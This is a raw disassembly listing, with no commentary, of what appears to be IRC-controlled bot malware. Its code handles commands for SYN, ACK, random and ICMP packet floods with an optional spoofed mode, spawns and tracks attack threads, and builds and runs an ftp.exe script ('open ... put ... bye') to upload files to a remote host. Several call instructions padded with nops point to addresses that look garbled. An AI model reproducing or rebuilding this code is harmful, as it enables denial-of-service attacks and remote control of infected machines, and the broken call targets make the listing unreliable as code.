		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA34
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC
		push	esi
		call	dword_4CBA7C
		call	dword_4CB93C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AF04


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEBC
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE78
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42AE40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE08


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAD4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_42AD88
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD34
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACFC


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC94
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E8o
					; ___:004330FCo ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42AC14


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABB0


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB950
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB40
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB10


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431800, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_431800


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431800[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AADC
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB988
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA40
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42AA08
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A97C
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A970
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
